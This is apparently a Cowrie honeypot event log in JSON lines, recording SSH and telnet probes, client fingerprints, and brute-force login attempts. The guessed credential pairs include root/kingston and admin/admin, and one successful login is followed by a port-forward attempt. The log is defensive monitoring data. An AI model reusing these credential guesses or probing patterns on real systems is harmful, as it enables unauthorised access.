{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:49:25.911970Z","src_ip":"103.183.114.55","session":"c931b958b22e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"dfczdfcz","message":"login attempt [root/dfczdfcz] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:49:26.587823Z","src_ip":"103.183.114.55","session":"c931b958b22e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:49:27.814855Z","src_ip":"103.183.114.55","session":"c931b958b22e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":50.77475047111511,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:49:37.757972Z","src_ip":"192.119.13.58","session":"f58ce858b9c6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":47.094839334487915,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:49:48.779123Z","src_ip":"192.119.13.58","session":"dcd2f0767f68","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":46070,"dst_ip":"10.17.0.5","dst_port":23,"session":"01530bd76f9d","protocol":"telnet","message":"New connection: 192.119.13.58:46070 (10.17.0.5:23) [session: 01530bd76f9d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:50:54.410317Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.173.227.57","src_port":41338,"dst_ip":"159.203.135.109","dst_port":22,"session":"bedd60a366fb","protocol":"ssh","message":"New connection: 103.173.227.57:41338 (159.203.135.109:22) [session: bedd60a366fb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:51:10.033747Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:51:10.038937Z","src_ip":"103.173.227.57","session":"bedd60a366fb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:51:10.283873Z","src_ip":"103.173.227.57","session":"bedd60a366fb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"kingston","message":"login attempt [root/kingston] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:51:11.018819Z","src_ip":"103.173.227.57","session":"bedd60a366fb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:51:12.270831Z","src_ip":"103.173.227.57","session":"bedd60a366fb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.677412033081055,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:51:31.087599Z","src_ip":"192.119.13.58","session":"01530bd76f9d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.82.132.16","src_port":40690,"dst_ip":"10.17.0.5","dst_port":22,"session":"2b418f33cbe5","protocol":"ssh","message":"New connection: 103.82.132.16:40690 (10.17.0.5:22) [session: 2b418f33cbe5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:51:35.757215Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:51:35.762479Z","src_ip":"103.82.132.16","session":"2b418f33cbe5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:51:36.018534Z","src_ip":"103.82.132.16","session":"2b418f33cbe5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123qwer123","message":"login attempt [root/123qwer123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:51:36.785261Z","src_ip":"103.82.132.16","session":"2b418f33cbe5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:51:38.083948Z","src_ip":"103.82.132.16","session":"2b418f33cbe5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":35130,"dst_ip":"10.17.0.5","dst_port":23,"session":"fe38e32b6b5c","protocol":"telnet","message":"New connection: 192.119.13.58:35130 (10.17.0.5:23) [session: fe38e32b6b5c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:51:44.630742Z"}
{"eventid":"cowrie.session.closed","duration":38.58478593826294,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:52:23.215378Z","src_ip":"192.119.13.58","session":"fe38e32b6b5c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":35534,"dst_ip":"10.17.0.5","dst_port":23,"session":"638a73061320","protocol":"telnet","message":"New connection: 192.119.13.58:35534 (10.17.0.5:23) [session: 638a73061320]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:52:38.355248Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":40022,"dst_ip":"10.17.0.5","dst_port":23,"session":"b4bb07ecafb9","protocol":"telnet","message":"New connection: 192.119.13.58:40022 (10.17.0.5:23) [session: b4bb07ecafb9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:52:39.631415Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":53854,"dst_ip":"10.17.0.5","dst_port":23,"session":"aa70e660b3d4","protocol":"telnet","message":"New connection: 192.119.13.58:53854 (10.17.0.5:23) [session: aa70e660b3d4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:52:43.278323Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.212.128","src_port":50618,"dst_ip":"159.203.135.109","dst_port":22,"session":"affee3611318","protocol":"ssh","message":"New connection: 152.42.212.128:50618 (159.203.135.109:22) [session: affee3611318]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:52:43.311643Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:52:43.315602Z","src_ip":"152.42.212.128","session":"affee3611318","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:52:43.318499Z","src_ip":"152.42.212.128","session":"affee3611318","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":6536,"dst_ip":"10.17.0.5","dst_port":22,"session":"e285c16c7373","protocol":"ssh","message":"New connection: 87.251.64.176:6536 (10.17.0.5:22) [session: e285c16c7373]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:52:48.996552Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:52:49.001390Z","src_ip":"87.251.64.176","session":"e285c16c7373","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:52:49.098007Z","src_ip":"87.251.64.176","session":"e285c16c7373","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:52:49.385977Z","src_ip":"87.251.64.176","session":"e285c16c7373","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:52:49.487642Z","session":"e285c16c7373","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:52:49.585556Z","src_ip":"87.251.64.176","session":"e285c16c7373","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:52:49.683803Z","src_ip":"87.251.64.176","session":"e285c16c7373","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"51.250.105.222","src_port":48258,"dst_ip":"159.203.135.109","dst_port":22,"session":"f4fe975a1a22","protocol":"ssh","message":"New connection: 51.250.105.222:48258 (159.203.135.109:22) [session: f4fe975a1a22]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:52:49.851666Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:52:49.855998Z","src_ip":"51.250.105.222","session":"f4fe975a1a22","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:52:49.982952Z","src_ip":"51.250.105.222","session":"f4fe975a1a22","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Forten1883","message":"login attempt [root/Forten1883] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:52:50.365029Z","src_ip":"51.250.105.222","session":"f4fe975a1a22","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:52:51.495010Z","src_ip":"51.250.105.222","session":"f4fe975a1a22","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":46978,"dst_ip":"10.17.0.5","dst_port":23,"session":"95e11de31d99","protocol":"telnet","message":"New connection: 192.119.13.58:46978 (10.17.0.5:23) [session: 95e11de31d99]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:53:04.820260Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":57294,"dst_ip":"10.17.0.5","dst_port":23,"session":"096d359817bb","protocol":"telnet","message":"New connection: 192.119.13.58:57294 (10.17.0.5:23) [session: 096d359817bb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:53:07.774269Z"}
{"eventid":"cowrie.session.closed","duration":36.290006160736084,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:53:14.645154Z","src_ip":"192.119.13.58","session":"638a73061320","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":36836,"dst_ip":"10.17.0.5","dst_port":23,"session":"546905901c2b","protocol":"telnet","message":"New connection: 192.119.13.58:36836 (10.17.0.5:23) [session: 546905901c2b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:53:17.346684Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":36888,"dst_ip":"10.17.0.5","dst_port":23,"session":"829dbdbcd149","protocol":"telnet","message":"New connection: 192.119.13.58:36888 (10.17.0.5:23) [session: 829dbdbcd149]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:53:17.363063Z"}
{"eventid":"cowrie.session.closed","duration":0.00460052490234375,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:53:17.367523Z","src_ip":"192.119.13.58","session":"829dbdbcd149","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.786391735076904,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:53:20.417721Z","src_ip":"192.119.13.58","session":"b4bb07ecafb9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.56","src_port":26272,"dst_ip":"10.17.0.5","dst_port":22,"session":"4e3204bdd1a2","protocol":"ssh","message":"New connection: 213.209.159.56:26272 (10.17.0.5:22) [session: 4e3204bdd1a2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:53:24.760294Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.83","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:53:24.765204Z","src_ip":"213.209.159.56","session":"4e3204bdd1a2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:53:24.847784Z","src_ip":"213.209.159.56","session":"4e3204bdd1a2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":41.638062477111816,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:53:24.916291Z","src_ip":"192.119.13.58","session":"aa70e660b3d4","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"pranav","password":"pranav","message":"login attempt [pranav/pranav] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:53:25.247670Z","src_ip":"213.209.159.56","session":"4e3204bdd1a2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"pranav","password":"pranav1","message":"login attempt [pranav/pranav1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:53:26.333001Z","src_ip":"213.209.159.56","session":"4e3204bdd1a2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"186.195.16.41","src_port":51740,"dst_ip":"159.203.135.109","dst_port":23,"session":"66f209137441","protocol":"telnet","message":"New connection: 186.195.16.41:51740 (159.203.135.109:23) [session: 66f209137441]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:53:26.674739Z"}
{"eventid":"cowrie.login.failed","username":"pranav","password":"pranav123","message":"login attempt [pranav/pranav123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:53:27.425406Z","src_ip":"213.209.159.56","session":"4e3204bdd1a2","protocol":"ssh"}
